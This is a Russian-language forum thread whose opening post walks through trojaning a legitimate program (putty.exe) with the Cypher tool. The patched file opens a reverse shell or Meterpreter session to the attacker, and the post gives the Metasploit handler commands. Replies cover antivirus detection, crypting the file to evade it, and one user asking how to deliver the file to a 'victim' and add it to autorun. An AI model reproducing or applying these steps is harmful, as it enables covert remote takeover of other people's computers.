Взлом Windows PC - Cypher

[Vander]

Приветствую! В этой теме я продемонстрирую взлом удаленного хоста с помощью программы Cypher. Она позволит нам добавить полезную нагрузку в исполняемый файл (программу, игру, и т.д) не нарушая его целостности.

В качестве атакующей системы будет использоваться OS Kali Linux,

в качестве целевой системы Windows 8.1 с актуальными обновлениями.

Итак, вернемся к Cypher, скачиваем ее с Github:

> git clone https://github.com/xan7r/cypher

Выполняем следующие команды:

> cd cypher

> chmod a+x addShell.py

> ls –a

Теперь нам необходимо выбрать исполняемый файл для «вшивания» в него полезной нагрузки, я взял putty.exe. Скопируем Putty в директорию в Cypher.

Теперь выполним следующую команду:

> ./ addShell.py -f ./putty.exe -H 192.168.0.105 -P 4444 –p 0

В приведенной команде –p 0 – это тип полезной нагрузки, всего и х в программе доступно 5.

· 0 – windows/shell_reverse_tcp

· 1 – windows/meterpreter/reverse_http

· 2 – windows/meterpreter/reverse_http +PrependMigrate

· 3 – windows/meterpreter/reverse_https

· 4 – windows/meterpreter/reverse_https +PrependMigrate

По итогу получаем файл putty_evil.exe в папке с Cypher.

Теперь настроим на атакующем хосте handler:
> msfconsole
> use multi/handler
> set LPORT 4444
> set LHOST 192.168.0.107
> exploit

Следующим шагом будет доставка файла putty_evil.exe на целевой хост и последующий запуск приложения. После запуска, мы получаем полноценный command shell, на атакующем хосте.

Сменим кодировку командой:

> chcp 65001

Посмотрим подробную информацию о системе:

> systeminfo

Это все. Спасибо за внимание.

 

[m0tion]

Антивирусами палится?

 

[Vander]

Антивирусами палится?

8.1. - Без алертов запустился

 

[mafiasepa]

set LHOST 192.168.0.107(это свой ip или тест машины)?

 

[Vander]

set LHOST 192.168.0.107(это свой ip или тест машины)?

Свой адрес

 

[Inject0r]

Антивирусами палится?

Касперский палит.

 

[Epanalit]

Avast тоже ругается

 

[msfconsole]

Касперский палит.

Как вариант можно закриптовать )

 

[alexbro]

классная статья

 

[Mixa]

Всьо получилось. Мой первый "В*ЛоМ \ пронИкновение !!!" Вот только с передачей ехе. я намучялся. Посоветуйте как бы его так передать и в авторун чтоли закинуть жертве...)

 

[ghostphisher]

Win XP Sp3 =)

После активации секунды две и ошибка, за эти секунды успевает только начать коннект (как видно на скрине внизу) =)

 

[Darwin_Douglas]

Как я понял,сложность состоит в том, что мне нужно доставить файл putty_evil.exe на целевую машину вручную или каким-нибудь другим способом и запустить.

 

[Vander]

Как я понял,сложность состоит в том, что мне нужно доставить файл putty_evil.exe на целевую машину вручную или каким-нибудь другим способом и запустить.

Да, все верно

 

[ghostphisher]

Как я понял,сложность состоит в том, что мне нужно доставить файл putty_evil.exe на целевую машину вручную или каким-нибудь другим способом и запустить.

Если внимательно почитать форум и темы про социальную инженерию, сложностью это не станет. Запуск прриложения дело времени - если файло было скачано, то явно будет и запущено.

 

[sdfsd]

а как всплывающее окошко которое типа по закрытию хавает PS cделать

 

[Runinterface]

[*] Sending stage (957487 bytes) to 192.168.1.153
c 10ки пробую.
Вот такое сообщение прилетает и все более ничего не происходит в чем может быть трабл?

 

[Ow11]

Почему выходит ошибка?


File "./addShell.py", line 28
print "\n[*] Backdoor shell was succesfully added to file!"
^
SyntaxError: Missing parentheses in call to 'print'

 

[BarDimNik]

Здравствуйте! При создании пэйлоада получаю вот такое сообщение:
пользователь@pc:~/.pentest/cypher$ sudo ./addShell.py -f putty.exe -H 192.168.1.105 -P 4444 -p 0
Traceback (most recent call last):
File "./addShell.py", line 2, in <module>
import random, optparse, pefile, capstone, binascii, struct, os
File "/usr/local/lib/python2.7/dist-packages/capstone/__init__.py", line 230, in <module>
raise ImportError("ERROR: fail to load the dynamic library.")
ImportError: ERROR: fail to load the dynamic library.
Подскажите, пожалуйста, чего ему не хватает?

 

[Ow11]

Здравствуйте! При создании пэйлоада получаю вот такое сообщение:
пользователь@pc:~/.pentest/cypher$ sudo ./addShell.py -f putty.exe -H 192.168.1.105 -P 4444 -p 0
Traceback (most recent call last):
File "./addShell.py", line 2, in <module>
import random, optparse, pefile, capstone, binascii, struct, os
File "/usr/local/lib/python2.7/dist-packages/capstone/__init__.py", line 230, in <module>
raise ImportError("ERROR: fail to load the dynamic library.")
ImportError: ERROR: fail to load the dynamic library.
Подскажите, пожалуйста, чего ему не хватает?

Ответ уже содержиться в вопросе, не хватает динамической библиотеки, судя по ошибке.
У вас Python 2.7, установите 3 версию и проблема должна исчезнуть!
Только потом не забудьте запускать именно с 3 версией, тоесть sudo python3 ./addShell.py -f putty.exe и.т.д

 

[woolf1514]

Так это джойнер получается. Как у него в целом с палевностью? Есть возможность проверить твой готовый файл, к примеру, на

Ссылка скрыта от гостей

?